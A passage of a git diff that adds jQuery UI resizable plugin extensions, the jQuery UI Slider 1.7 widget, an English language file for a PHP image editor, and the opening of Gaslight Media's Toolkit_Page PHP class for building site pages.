+/*
+ * Resizable Extensions
+ */
+
+$.ui.plugin.add("resizable", "alsoResize", {
+
+       start: function(event, ui) {
+
+               var self = $(this).data("resizable"), o = self.options;
+
+               _store = function(exp) {
+                       $(exp).each(function() {
+                               $(this).data("resizable-alsoresize", {
+                                       width: parseInt($(this).width(), 10), height: parseInt($(this).height(), 10),
+                                       left: parseInt($(this).css('left'), 10), top: parseInt($(this).css('top'), 10)
+                               });
+                       });
+               };
+
+               if (typeof(o.alsoResize) == 'object' && !o.alsoResize.parentNode) {
+                       if (o.alsoResize.length) { o.alsoResize = o.alsoResize[0];      _store(o.alsoResize); }
+                       else { $.each(o.alsoResize, function(exp, c) { _store(exp); }); }
+               }else{
+                       _store(o.alsoResize);
+               }
+       },
+
+       resize: function(event, ui){
+               var self = $(this).data("resizable"), o = self.options, os = self.originalSize, op = self.originalPosition;
+
+               var delta = {
+                       height: (self.size.height - os.height) || 0, width: (self.size.width - os.width) || 0,
+                       top: (self.position.top - op.top) || 0, left: (self.position.left - op.left) || 0
+               },
+
+               _alsoResize = function(exp, c) {
+                       $(exp).each(function() {
+                               var el = $(this), start = $(this).data("resizable-alsoresize"), style = {}, css = c && c.length ? c : ['width', 'height', 'top', 'left'];
+
+                               $.each(css || ['width', 'height', 'top', 'left'], function(i, prop) {
+                                       var sum = (start[prop]||0) + (delta[prop]||0);
+                                       if (sum && sum >= 0)
+                                               style[prop] = sum || null;
+                               });
+
+                               //Opera fixing relative position
+                               if (/relative/.test(el.css('position')) && $.browser.opera) {
+                                       self._revertToRelativePosition = true;
+                                       el.css({ position: 'absolute', top: 'auto', left: 'auto' });
+                               }
+
+                               el.css(style);
+                       });
+               };
+
+               if (typeof(o.alsoResize) == 'object' && !o.alsoResize.nodeType) {
+                       $.each(o.alsoResize, function(exp, c) { _alsoResize(exp, c); });
+               }else{
+                       _alsoResize(o.alsoResize);
+               }
+       },
+
+       stop: function(event, ui){
+               var self = $(this).data("resizable");
+
+               //Opera fixing relative position
+               if (self._revertToRelativePosition && $.browser.opera) {
+                       self._revertToRelativePosition = false;
+                       el.css({ position: 'relative' });
+               }
+
+               $(this).removeData("resizable-alsoresize-start");
+       }
+});
+
+$.ui.plugin.add("resizable", "animate", {
+
+       stop: function(event, ui) {
+               var self = $(this).data("resizable"), o = self.options;
+
+               var pr = self._proportionallyResizeElements, ista = pr.length && (/textarea/i).test(pr[0].nodeName),
+                                       soffseth = ista && $.ui.hasScroll(pr[0], 'left') /* TODO - jump height */ ? 0 : self.sizeDiff.height,
+                                               soffsetw = ista ? 0 : self.sizeDiff.width;
+
+               var style = { width: (self.size.width - soffsetw), height: (self.size.height - soffseth) },
+                                       left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
+                                               top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
+
+               self.element.animate(
+                       $.extend(style, top && left ? { top: top, left: left } : {}), {
+                               duration: o.animateDuration,
+                               easing: o.animateEasing,
+                               step: function() {
+
+                                       var data = {
+                                               width: parseInt(self.element.css('width'), 10),
+                                               height: parseInt(self.element.css('height'), 10),
+                                               top: parseInt(self.element.css('top'), 10),
+                                               left: parseInt(self.element.css('left'), 10)
+                                       };
+
+                                       if (pr && pr.length) $(pr[0]).css({ width: data.width, height: data.height });
+
+                                       // propagating resize, and updating values for each animation step
+                                       self._updateCache(data);
+                                       self._propagate("resize", event);
+
+                               }
+                       }
+               );
+       }
+
+});
+
+$.ui.plugin.add("resizable", "containment", {
+
+       start: function(event, ui) {
+               var self = $(this).data("resizable"), o = self.options, el = self.element;
+               var oc = o.containment, ce = (oc instanceof $) ? oc.get(0) : (/parent/.test(oc)) ? el.parent().get(0) : oc;
+               if (!ce) return;
+
+               self.containerElement = $(ce);
+
+               if (/document/.test(oc) || oc == document) {
+                       self.containerOffset = { left: 0, top: 0 };
+                       self.containerPosition = { left: 0, top: 0 };
+
+                       self.parentData = {
+                               element: $(document), left: 0, top: 0,
+                               width: $(document).width(), height: $(document).height() || document.body.parentNode.scrollHeight
+                       };
+               }
+
+               // i'm a node, so compute top, left, right, bottom
+               else {
+                       var element = $(ce), p = [];
+                       $([ "Top", "Right", "Left", "Bottom" ]).each(function(i, name) { p[i] = num(element.css("padding" + name)); });
+
+                       self.containerOffset = element.offset();
+                       self.containerPosition = element.position();
+                       self.containerSize = { height: (element.innerHeight() - p[3]), width: (element.innerWidth() - p[1]) };
+
+                       var co = self.containerOffset, ch = self.containerSize.height,  cw = self.containerSize.width,
+                                               width = ($.ui.hasScroll(ce, "left") ? ce.scrollWidth : cw ), height = ($.ui.hasScroll(ce) ? ce.scrollHeight : ch);
+
+                       self.parentData = {
+                               element: ce, left: co.left, top: co.top, width: width, height: height
+                       };
+               }
+       },
+
+       resize: function(event, ui) {
+               var self = $(this).data("resizable"), o = self.options,
+                               ps = self.containerSize, co = self.containerOffset, cs = self.size, cp = self.position,
+                               pRatio = o._aspectRatio || event.shiftKey, cop = { top:0, left:0 }, ce = self.containerElement;
+
+               if (ce[0] != document && (/static/).test(ce.css('position'))) cop = co;
+
+               if (cp.left < (self._helper ? co.left : 0)) {
+                       self.size.width = self.size.width + (self._helper ? (self.position.left - co.left) : (self.position.left - cop.left));
+                       if (pRatio) self.size.height = self.size.width / o.aspectRatio;
+                       self.position.left = o.helper ? co.left : 0;
+               }
+
+               if (cp.top < (self._helper ? co.top : 0)) {
+                       self.size.height = self.size.height + (self._helper ? (self.position.top - co.top) : self.position.top);
+                       if (pRatio) self.size.width = self.size.height * o.aspectRatio;
+                       self.position.top = self._helper ? co.top : 0;
+               }
+
+               self.offset.left = self.parentData.left+self.position.left;
+               self.offset.top = self.parentData.top+self.position.top;
+
+               var woset = Math.abs( (self._helper ? self.offset.left - cop.left : (self.offset.left - cop.left)) + self.sizeDiff.width ),
+                                       hoset = Math.abs( (self._helper ? self.offset.top - cop.top : (self.offset.top - co.top)) + self.sizeDiff.height );
+
+               var isParent = self.containerElement.get(0) == self.element.parent().get(0),
+                   isOffsetRelative = /relative|absolute/.test(self.containerElement.css('position'));
+
+               if(isParent && isOffsetRelative) woset -= self.parentData.left;
+
+               if (woset + self.size.width >= self.parentData.width) {
+                       self.size.width = self.parentData.width - woset;
+                       if (pRatio) self.size.height = self.size.width / o.aspectRatio;
+               }
+
+               if (hoset + self.size.height >= self.parentData.height) {
+                       self.size.height = self.parentData.height - hoset;
+                       if (pRatio) self.size.width = self.size.height * o.aspectRatio;
+               }
+       },
+
+       stop: function(event, ui){
+               var self = $(this).data("resizable"), o = self.options, cp = self.position,
+                               co = self.containerOffset, cop = self.containerPosition, ce = self.containerElement;
+
+               var helper = $(self.helper), ho = helper.offset(), w = helper.outerWidth() - self.sizeDiff.width, h = helper.outerHeight() - self.sizeDiff.height;
+
+               if (self._helper && !o.animate && (/relative/).test(ce.css('position')))
+                       $(this).css({ left: ho.left - cop.left - co.left, width: w, height: h });
+
+               if (self._helper && !o.animate && (/static/).test(ce.css('position')))
+                       $(this).css({ left: ho.left - cop.left - co.left, width: w, height: h });
+
+       }
+});
+
+$.ui.plugin.add("resizable", "ghost", {
+
+       start: function(event, ui) {
+
+               var self = $(this).data("resizable"), o = self.options, cs = self.size;
+
+               self.ghost = self.originalElement.clone();
+               self.ghost
+                       .css({ opacity: .25, display: 'block', position: 'relative', height: cs.height, width: cs.width, margin: 0, left: 0, top: 0 })
+                       .addClass('ui-resizable-ghost')
+                       .addClass(typeof o.ghost == 'string' ? o.ghost : '');
+
+               self.ghost.appendTo(self.helper);
+
+       },
+
+       resize: function(event, ui){
+               var self = $(this).data("resizable"), o = self.options;
+               if (self.ghost) self.ghost.css({ position: 'relative', height: self.size.height, width: self.size.width });
+       },
+
+       stop: function(event, ui){
+               var self = $(this).data("resizable"), o = self.options;
+               if (self.ghost && self.helper) self.helper.get(0).removeChild(self.ghost.get(0));
+       }
+
+});
+
+$.ui.plugin.add("resizable", "grid", {
+
+       resize: function(event, ui) {
+               var self = $(this).data("resizable"), o = self.options, cs = self.size, os = self.originalSize, op = self.originalPosition, a = self.axis, ratio = o._aspectRatio || event.shiftKey;
+               o.grid = typeof o.grid == "number" ? [o.grid, o.grid] : o.grid;
+               var ox = Math.round((cs.width - os.width) / (o.grid[0]||1)) * (o.grid[0]||1), oy = Math.round((cs.height - os.height) / (o.grid[1]||1)) * (o.grid[1]||1);
+
+               if (/^(se|s|e)$/.test(a)) {
+                       self.size.width = os.width + ox;
+                       self.size.height = os.height + oy;
+               }
+               else if (/^(ne)$/.test(a)) {
+                       self.size.width = os.width + ox;
+                       self.size.height = os.height + oy;
+                       self.position.top = op.top - oy;
+               }
+               else if (/^(sw)$/.test(a)) {
+                       self.size.width = os.width + ox;
+                       self.size.height = os.height + oy;
+                       self.position.left = op.left - ox;
+               }
+               else {
+                       self.size.width = os.width + ox;
+                       self.size.height = os.height + oy;
+                       self.position.top = op.top - oy;
+                       self.position.left = op.left - ox;
+               }
+       }
+
+});
+
+var num = function(v) {
+       return parseInt(v, 10) || 0;
+};
+
+var isNumber = function(value) {
+       return !isNaN(parseInt(value, 10));
+};
+
+})(jQuery);
diff --git a/Toolkit/PHPImageEditor/javascript/ui.slider.js b/Toolkit/PHPImageEditor/javascript/ui.slider.js
new file mode 100644 (file)
index 0000000..a7b4d0c
--- /dev/null
@@ -0,0 +1,511 @@
+/*
+ * jQuery UI Slider 1.7
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Slider
+ *
+ * Depends:
+ *     ui.core.js
+ */
+
+(function($) {
+
+$.widget("ui.slider", $.extend({}, $.ui.mouse, {
+
+       _init: function() {
+
+               var self = this, o = this.options;
+               this._keySliding = false;
+               this._handleIndex = null;
+               this._detectOrientation();
+               this._mouseInit();
+
+               this.element
+                       .addClass("ui-slider"
+                               + " ui-slider-" + this.orientation
+                               + " ui-widget"
+                               + " ui-widget-content"
+                               + " ui-corner-all");
+
+               this.range = $([]);
+
+               if (o.range) {
+
+                       if (o.range === true) {
+                               this.range = $('<div></div>');
+                               if (!o.values) o.values = [this._valueMin(), this._valueMin()];
+                               if (o.values.length && o.values.length != 2) {
+                                       o.values = [o.values[0], o.values[0]];
+                               }
+                       } else {
+                               this.range = $('<div></div>');
+                       }
+
+                       this.range
+                               .appendTo(this.element)
+                               .addClass("ui-slider-range");
+
+                       if (o.range == "min" || o.range == "max") {
+                               this.range.addClass("ui-slider-range-" + o.range);
+                       }
+
+                       // note: this isn't the most fittingly semantic framework class for this element,
+                       // but worked best visually with a variety of themes
+                       this.range.addClass("ui-widget-header");
+
+               }
+
+               if ($(".ui-slider-handle", this.element).length == 0)
+                       $('<a href="#"></a>')
+                               .appendTo(this.element)
+                               .addClass("ui-slider-handle");
+
+               if (o.values && o.values.length) {
+                       while ($(".ui-slider-handle", this.element).length < o.values.length)
+                               $('<a href="#"></a>')
+                                       .appendTo(this.element)
+                                       .addClass("ui-slider-handle");
+               }
+
+               this.handles = $(".ui-slider-handle", this.element)
+                       .addClass("ui-state-default"
+                               + " ui-corner-all");
+
+               this.handle = this.handles.eq(0);
+
+               this.handles.add(this.range).filter("a")
+                       .click(function(event) { event.preventDefault(); })
+                       .hover(function() { $(this).addClass('ui-state-hover'); }, function() { $(this).removeClass('ui-state-hover'); })
+                       .focus(function() { $(".ui-slider .ui-state-focus").removeClass('ui-state-focus'); $(this).addClass('ui-state-focus'); })
+                       .blur(function() { $(this).removeClass('ui-state-focus'); });
+
+               this.handles.each(function(i) {
+                       $(this).data("index.ui-slider-handle", i);
+               });
+
+               this.handles.keydown(function(event) {
+
+                       var ret = true;
+
+                       var index = $(this).data("index.ui-slider-handle");
+
+                       if (self.options.disabled)
+                               return;
+
+                       switch (event.keyCode) {
+                               case $.ui.keyCode.HOME:
+                               case $.ui.keyCode.END:
+                               case $.ui.keyCode.UP:
+                               case $.ui.keyCode.RIGHT:
+                               case $.ui.keyCode.DOWN:
+                               case $.ui.keyCode.LEFT:
+                                       ret = false;
+                                       if (!self._keySliding) {
+                                               self._keySliding = true;
+                                               $(this).addClass("ui-state-active");
+                                               self._start(event, index);
+                                       }
+                                       break;
+                       }
+
+                       var curVal, newVal, step = self._step();
+                       if (self.options.values && self.options.values.length) {
+                               curVal = newVal = self.values(index);
+                       } else {
+                               curVal = newVal = self.value();
+                       }
+
+                       switch (event.keyCode) {
+                               case $.ui.keyCode.HOME:
+                                       newVal = self._valueMin();
+                                       break;
+                               case $.ui.keyCode.END:
+                                       newVal = self._valueMax();
+                                       break;
+                               case $.ui.keyCode.UP:
+                               case $.ui.keyCode.RIGHT:
+                                       if(curVal == self._valueMax()) return;
+                                       newVal = curVal + step;
+                                       break;
+                               case $.ui.keyCode.DOWN:
+                               case $.ui.keyCode.LEFT:
+                                       if(curVal == self._valueMin()) return;
+                                       newVal = curVal - step;
+                                       break;
+                       }
+
+                       self._slide(event, index, newVal);
+
+                       return ret;
+
+               }).keyup(function(event) {
+
+                       var index = $(this).data("index.ui-slider-handle");
+
+                       if (self._keySliding) {
+                               self._stop(event, index);
+                               self._change(event, index);
+                               self._keySliding = false;
+                               $(this).removeClass("ui-state-active");
+                       }
+
+               });
+
+               this._refreshValue();
+
+       },
+
+       destroy: function() {
+
+               this.handles.remove();
+
+               this.element
+                       .removeClass("ui-slider"
+                               + " ui-slider-horizontal"
+                               + " ui-slider-vertical"
+                               + " ui-slider-disabled"
+                               + " ui-widget"
+                               + " ui-widget-content"
+                               + " ui-corner-all")
+                       .removeData("slider")
+                       .unbind(".slider");
+
+               this._mouseDestroy();
+
+       },
+
+       _mouseCapture: function(event) {
+
+               var o = this.options;
+
+               if (o.disabled)
+                       return false;
+
+               this.elementSize = {
+                       width: this.element.outerWidth(),
+                       height: this.element.outerHeight()
+               };
+               this.elementOffset = this.element.offset();
+
+               var position = { x: event.pageX, y: event.pageY };
+               var normValue = this._normValueFromMouse(position);
+
+               var distance = this._valueMax() + 1, closestHandle;
+               var self = this, index;
+               this.handles.each(function(i) {
+                       var thisDistance = Math.abs(normValue - self.values(i));
+                       if (distance > thisDistance) {
+                               distance = thisDistance;
+                               closestHandle = $(this);
+                               index = i;
+                       }
+               });
+
+               // workaround for bug #3736 (if both handles of a range are at 0,
+               // the first is always used as the one with least distance,
+               // and moving it is obviously prevented by preventing negative ranges)
+               if(o.range == true && this.values(1) == o.min) {
+                       closestHandle = $(this.handles[++index]);
+               }
+
+               this._start(event, index);
+
+               self._handleIndex = index;
+
+               closestHandle
+                       .addClass("ui-state-active")
+                       .focus();
+               
+               var offset = closestHandle.offset();
+               var mouseOverHandle = !$(event.target).parents().andSelf().is('.ui-slider-handle');
+               this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
+                       left: event.pageX - offset.left - (closestHandle.width() / 2),
+                       top: event.pageY - offset.top
+                               - (closestHandle.height() / 2)
+                               - (parseInt(closestHandle.css('borderTopWidth'),10) || 0)
+                               - (parseInt(closestHandle.css('borderBottomWidth'),10) || 0)
+                               + (parseInt(closestHandle.css('marginTop'),10) || 0)
+               };
+
+               normValue = this._normValueFromMouse(position);
+               this._slide(event, index, normValue);
+               return true;
+
+       },
+
+       _mouseStart: function(event) {
+               return true;
+       },
+
+       _mouseDrag: function(event) {
+
+               var position = { x: event.pageX, y: event.pageY };
+               var normValue = this._normValueFromMouse(position);
+               
+               this._slide(event, this._handleIndex, normValue);
+
+               return false;
+
+       },
+
+       _mouseStop: function(event) {
+
+               this.handles.removeClass("ui-state-active");
+               this._stop(event, this._handleIndex);
+               this._change(event, this._handleIndex);
+               this._handleIndex = null;
+               this._clickOffset = null;
+
+               return false;
+
+       },
+       
+       _detectOrientation: function() {
+               this.orientation = this.options.orientation == 'vertical' ? 'vertical' : 'horizontal';
+       },
+
+       _normValueFromMouse: function(position) {
+
+               var pixelTotal, pixelMouse;
+               if ('horizontal' == this.orientation) {
+                       pixelTotal = this.elementSize.width;
+                       pixelMouse = position.x - this.elementOffset.left - (this._clickOffset ? this._clickOffset.left : 0);
+               } else {
+                       pixelTotal = this.elementSize.height;
+                       pixelMouse = position.y - this.elementOffset.top - (this._clickOffset ? this._clickOffset.top : 0);
+               }
+
+               var percentMouse = (pixelMouse / pixelTotal);
+               if (percentMouse > 1) percentMouse = 1;
+               if (percentMouse < 0) percentMouse = 0;
+               if ('vertical' == this.orientation)
+                       percentMouse = 1 - percentMouse;
+
+               var valueTotal = this._valueMax() - this._valueMin(),
+                       valueMouse = percentMouse * valueTotal,
+                       valueMouseModStep = valueMouse % this.options.step,
+                       normValue = this._valueMin() + valueMouse - valueMouseModStep;
+
+               if (valueMouseModStep > (this.options.step / 2))
+                       normValue += this.options.step;
+
+               // Since JavaScript has problems with large floats, round
+               // the final value to 5 digits after the decimal point (see #4124)
+               return parseFloat(normValue.toFixed(5));
+
+       },
+
+       _start: function(event, index) {
+               this._trigger("start", event, this._uiHash(index));
+       },
+
+       _slide: function(event, index, newVal) {
+
+               var handle = this.handles[index];
+
+               if (this.options.values && this.options.values.length) {
+
+                       var otherVal = this.values(index ? 0 : 1);
+
+                       if ((index == 0 && newVal >= otherVal) || (index == 1 && newVal <= otherVal))
+                               newVal = otherVal;
+
+                       if (newVal != this.values(index)) {
+                               var newValues = this.values();
+                               newValues[index] = newVal;
+                               // A slide can be canceled by returning false from the slide callback
+                               var allowed = this._trigger("slide", event, this._uiHash(index, newVal, newValues));
+                               var otherVal = this.values(index ? 0 : 1);
+                               if (allowed !== false) {
+                                       this.values(index, newVal, ( event.type == 'mousedown' && this.options.animate ), true);
+                               }
+                       }
+
+               } else {
+
+                       if (newVal != this.value()) {
+                               // A slide can be canceled by returning false from the slide callback
+                               var allowed = this._trigger("slide", event, this._uiHash(index, newVal));
+                               if (allowed !== false) {
+                                       this._setData('value', newVal, ( event.type == 'mousedown' && this.options.animate ));
+                               }
+                                       
+                       }
+
+               }
+
+       },
+
+       _stop: function(event, index) {
+               this._trigger("stop", event, this._uiHash(index));
+       },
+
+       _change: function(event, index) {
+               this._trigger("change", event, this._uiHash(index));
+       },
+
+       value: function(newValue) {
+
+               if (arguments.length) {
+                       this._setData("value", newValue);
+                       this._change(null, 0);
+               }
+
+               return this._value();
+
+       },
+
+       values: function(index, newValue, animated, noPropagation) {
+
+               if (arguments.length > 1) {
+                       this.options.values[index] = newValue;
+                       this._refreshValue(animated);
+                       if(!noPropagation) this._change(null, index);
+               }
+
+               if (arguments.length) {
+                       if (this.options.values && this.options.values.length) {
+                               return this._values(index);
+                       } else {
+                               return this.value();
+                       }
+               } else {
+                       return this._values();
+               }
+
+       },
+
+       _setData: function(key, value, animated) {
+
+               $.widget.prototype._setData.apply(this, arguments);
+
+               switch (key) {
+                       case 'orientation':
+
+                               this._detectOrientation();
+                               
+                               this.element
+                                       .removeClass("ui-slider-horizontal ui-slider-vertical")
+                                       .addClass("ui-slider-" + this.orientation);
+                               this._refreshValue(animated);
+                               break;
+                       case 'value':
+                               this._refreshValue(animated);
+                               break;
+               }
+
+       },
+
+       _step: function() {
+               var step = this.options.step;
+               return step;
+       },
+
+       _value: function() {
+
+               var val = this.options.value;
+               if (val < this._valueMin()) val = this._valueMin();
+               if (val > this._valueMax()) val = this._valueMax();
+
+               return val;
+
+       },
+
+       _values: function(index) {
+
+               if (arguments.length) {
+                       var val = this.options.values[index];
+                       if (val < this._valueMin()) val = this._valueMin();
+                       if (val > this._valueMax()) val = this._valueMax();
+
+                       return val;
+               } else {
+                       return this.options.values;
+               }
+
+       },
+
+       _valueMin: function() {
+               var valueMin = this.options.min;
+               return valueMin;
+       },
+
+       _valueMax: function() {
+               var valueMax = this.options.max;
+               return valueMax;
+       },
+
+       _refreshValue: function(animate) {
+
+               var oRange = this.options.range, o = this.options, self = this;
+
+               if (this.options.values && this.options.values.length) {
+                       var vp0, vp1;
+                       this.handles.each(function(i, j) {
+                               var valPercent = (self.values(i) - self._valueMin()) / (self._valueMax() - self._valueMin()) * 100;
+                               var _set = {}; _set[self.orientation == 'horizontal' ? 'left' : 'bottom'] = valPercent + '%';
+                               $(this).stop(1,1)[animate ? 'animate' : 'css'](_set, o.animate);
+                               if (self.options.range === true) {
+                                       if (self.orientation == 'horizontal') {
+                                               (i == 0) && self.range.stop(1,1)[animate ? 'animate' : 'css']({ left: valPercent + '%' }, o.animate);
+                                               (i == 1) && self.range[animate ? 'animate' : 'css']({ width: (valPercent - lastValPercent) + '%' }, { queue: false, duration: o.animate });
+                                       } else {
+                                               (i == 0) && self.range.stop(1,1)[animate ? 'animate' : 'css']({ bottom: (valPercent) + '%' }, o.animate);
+                                               (i == 1) && self.range[animate ? 'animate' : 'css']({ height: (valPercent - lastValPercent) + '%' }, { queue: false, duration: o.animate });
+                                       }
+                               }
+                               lastValPercent = valPercent;
+                       });
+               } else {
+                       var value = this.value(),
+                               valueMin = this._valueMin(),
+                               valueMax = this._valueMax(),
+                               valPercent = valueMax != valueMin
+                                       ? (value - valueMin) / (valueMax - valueMin) * 100
+                                       : 0;
+                       var _set = {}; _set[self.orientation == 'horizontal' ? 'left' : 'bottom'] = valPercent + '%';
+                       this.handle.stop(1,1)[animate ? 'animate' : 'css'](_set, o.animate);
+
+                       (oRange == "min") && (this.orientation == "horizontal") && this.range.stop(1,1)[animate ? 'animate' : 'css']({ width: valPercent + '%' }, o.animate);
+                       (oRange == "max") && (this.orientation == "horizontal") && this.range[animate ? 'animate' : 'css']({ width: (100 - valPercent) + '%' }, { queue: false, duration: o.animate });
+                       (oRange == "min") && (this.orientation == "vertical") && this.range.stop(1,1)[animate ? 'animate' : 'css']({ height: valPercent + '%' }, o.animate);
+                       (oRange == "max") && (this.orientation == "vertical") && this.range[animate ? 'animate' : 'css']({ height: (100 - valPercent) + '%' }, { queue: false, duration: o.animate });
+               }
+
+       },
+       
+       _uiHash: function(index, value, values) {
+               
+               var multiple = this.options.values && this.options.values.length;
+               return {
+                       handle: this.handles[index],
+                       value: value || (multiple ? this.values(index) : this.value()),
+                       values: values || (multiple && this.values())
+               };
+
+       }
+
+}));
+
+$.extend($.ui.slider, {
+       getter: "value values",
+       version: "1.7",
+       eventPrefix: "slide",
+       defaults: {
+               animate: false,
+               delay: 0,
+               distance: 0,
+               max: 100,
+               min: 0,
+               orientation: 'horizontal',
+               range: false,
+               step: 1,
+               value: 0,
+               values: null
+       }
+});
+
+})(jQuery);
diff --git a/Toolkit/PHPImageEditor/language/en-GB/en-GB.com_admin.ini b/Toolkit/PHPImageEditor/language/en-GB/en-GB.com_admin.ini
new file mode 100644 (file)
index 0000000..0217e7e
--- /dev/null
@@ -0,0 +1,37 @@
+#PHP IMAGE EDITOR TEXTS
+EDIT IMAGE=Edit Image
+RESIZE IMAGE=Resize Image
+WIDTH=Width
+HEIGHT=Height
+KEEP PROPORTIONS=Keep Proportions
+ROTATE IMAGE=Rotate Image
+LEFT 90 DEGREES=Left 90 Degrees
+RIGHT 90 DEGREES=Right 90 Degrees
+CROP IMAGE=Crop Image
+EFFECTS=Effects
+SELECT EFFECT=Select Effect
+SAVE AND CLOSE=Save and Close
+GRAYSCALE=Grayscale
+CONTRAST=Contrast
+BRIGHTNESS=Brightness                  
+DARKER=Darker
+IS REQUIRED=is required
+MUST BE NUMERIC=must be numeric
+NOT NEGATIVE=must be a positive number
+NOT IN RANGE=is not in valid range
+CANT BE LARGER THEN=can´t be larger then
+NO PROVIDED IMAGE=No image has been provided.
+IMAGE DOES NOT EXIST=The image doesn´t exist.
+INVALID IMAGE TYPE=Image must be of type jpeg, png or gif.
+OLD PHP VERSION=is too old php version. Minimum is:
+OLD GD VERSION=is too old GD version. Minimum is:
+UNDO=Undo
+UPDATE=Update
+LOADING=Loading
+AN UNEXPECTED ERROR=An unexpected error has occured, please try again...
+RESIZE HELP=Update Width and Height fields.<br/>Or drag and drop in the right or bottom side of the image.
+CROP HELP=Drag and drop to create a crop area on the image.
+CROP WIDTH=Crop Width
+CROP HEIGHT=Crop Height
+CROP KEEP PROPORTIONS=Keep Crop Proportions
+INSTRUCTIONS=Instructions
\ No newline at end of file
diff --git a/Toolkit/Page.php b/Toolkit/Page.php
new file mode 100755 (executable)
index 0000000..4fa024e
--- /dev/null
@@ -0,0 +1,662 @@
+<?php
+//vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Page.php
+ *
+ * PHP version 5
+ *
+ * All rights reserved.
+ *
+ * @category  Toolkit
+ * @package   Toolkit_Page
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   http://demo.gaslightmedia.com Gaslight Media
+ * @version   CVS: $Id: Page.php,v 1.11 2009/12/28 21:03:21 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Page for Error Doc
+ */
+define("ERROR_DOCUMENT", "404.html");
+
+/**
+ * The home page template
+ */
+define("HOME_TEMPLATE", "template.html");
+
+/**
+ * inside page template
+ */
+define("INSIDE_TEMPLATE", "template.html");
+
+/**
+ * Template for the error doc
+ */
+define("ERROR_DOCUMENT_TEMPLATE", "404-template.html");
+
+/**
+ * page title default
+ */
+define("PAGE_TITLE", "Gaslight Media");
+
+
+/**
+ * Toolkit_Page
+ *
+ * A class Object for use with merging into the flexy template for output.
+ * Sets up the $page object used for merging with the flexy template
+ * to output the toolbox and members admin content
+ *
+ * @category  Toolkit
+ * @package   Toolkit_Page
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   http://demo.gaslightmedia.com Gaslight Media
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Page
+{
+    //  {{{ Properties
+
+    /**
+     * used on img src and style href tags
+     * @var    $baseURL
+     * @access public
+     */
+    public $baseURL;
+
+    /**
+     * meta tag description element
+     * @var    $metaTags
+     * @access public
+     */
+    public $metaTags;
+
+    /**
+     * Array of scripts with absolute paths
+     * @var    $scripts array
+     * @access public
+     */
+    public $scripts = array();
+
+    /**
+     * Array of style sheet with absolute paths
+     * @var    $styles array
+     * @access public
+     */
+    public $styles = array();
+
+    /**
+     * title tag node
+     * @var    $title
+     * @access public
+     */
+    public $title;
+
+    /**
+     * The main content of website
+     * @var    $toolboxContent
+     * @access public
+     */
+    public $toolboxContent;
+
+       //  }}}
+       //      {{{     __construct()
+
+    /**
+     * __construct
+     *
+     * @param object $toolbox An instance of a valid GLM_TOOLBOX Object
+     *
+     * @return void
+     * @access public
+     */
+    public function __construct(GLM_TEMPLATE $toolbox)
+    {
+        // determine the base url to use (for images and stylesheet urls)
+        $this->baseURL
+               = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')
+            ? BASE_SECURE_URL
+            : BASE_URL;
+
+        // set the title of the page
+        $this->title = ($toolbox->title()) ?  $toolbox->title() 
+            . 'Gaslight Media' : 'Gaslight Media';
+
+        // set the metaTags 
+        $this->metaTags = $toolbox->meta_tags();
+
+
+        // determine the base url to use (for GLM_APP_BASE_URL)
+        $this->glmAppBaseURL
+               = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')
+            ? BASE_SECURE_URL
+            : GLM_APP_BASE_URL;
+
+        // used in class
+        $this->toolbox    = $toolbox;
+        $this->dbh        = Toolkit_Database::getInstance();
+        $this->sitemapURL = $this->baseURL . 'site-map';
+
+        // get top parent id if needed
+        $topParent = $toolbox->get_top_parent($toolbox->catid);
+
+        // true if on home page
+        $this->isHomePage = (HOME_ID == $toolbox->catid);
+
+        // pageTitle
+        $this->pageTitle = $toolbox->get_catheader($topParent, $toolbox->DB);
+
+        // styles sheets are added to an array
+        $this->styles   = array($this->baseURL . 'styles.css');
+        $this->styles[] = $this->baseURL . 'toolbox.css';
+        $this->styles[] = $this->baseURL . 'contactform.css';
+        $this->styles[] = $this->glmAppBaseURL . 'libjs/cluetip/jquery.cluetip.css';
+        $this->scripts[] = $this->glmAppBaseURL . 'libjs/jquery-1.3.2.min.js';
+
+        if ($toolbox->catid == HOME_ID) {
+            $this->scripts[] = $this->baseURL . 'libjs/jquery.cycle.all.min.js';
+                       $this->scripts[] = $this->baseURL . 'libjs/homeFeaturedNav.js';
+
+                       $this->scripts[] = $this->baseURL . 'libjs/jquery.timers.js';
+//                     $this->scripts[] = $this->baseURL . 'libjs/jquery.autoScroller.js';
+                       $this->scripts[] = $this->baseURL . 'libjs/testimonials.js';
+        }
+
+        // scripts are added to an array
+        $this->scripts[] = $this->glmAppBaseURL . 'libjs/contactform.js';
+        $this->scripts[] = $this->glmAppBaseURL . 'libjs/cluetip/jquery.cluetip.js';
+        $this->scripts[] = $this->glmAppBaseURL . 'libjs/cluetip/lib/jquery.hoverIntent.js';
+        $this->scripts[] = $this->glmAppBaseURL . 'libjs/cluetip/lib/jquery.bgiframe.min.js';
+
+        // if PHOTO_GALLERY is defined as true
+        if (   defined("PHOTO_GALLERY")
+            && PHOTO_GALLERY
+            && $this->isPhotoGalleryPage()
+            || $toolbox->catid == MEMBER_SESSION_PAGE
+        ) {
+            $this->scripts[] = $this->glmAppBaseURL . 'gallery/thickbox-3.1.1.js';
+            $this->styles[]  = $this->glmAppBaseURL . 'gallery/gallery.css';
+            $this->styles[]  = $this->glmAppBaseURL . 'gallery/thickbox.css';
+        }
+
+        // bread crumb navigation
+        if ($_GET['catid'] == 56 && $_GET['pcatid']) {
+            include_once(BASE.'classes/class_portfolio.inc');
+            $portfolio =& new portfolio($this->toolbox);       
+            $this->breadCrumbs = $portfolio->get_bread_crumbs();
+        } else {
+            $this->breadCrumbs = $toolbox->get_bread_crumbs($toolbox->catid);
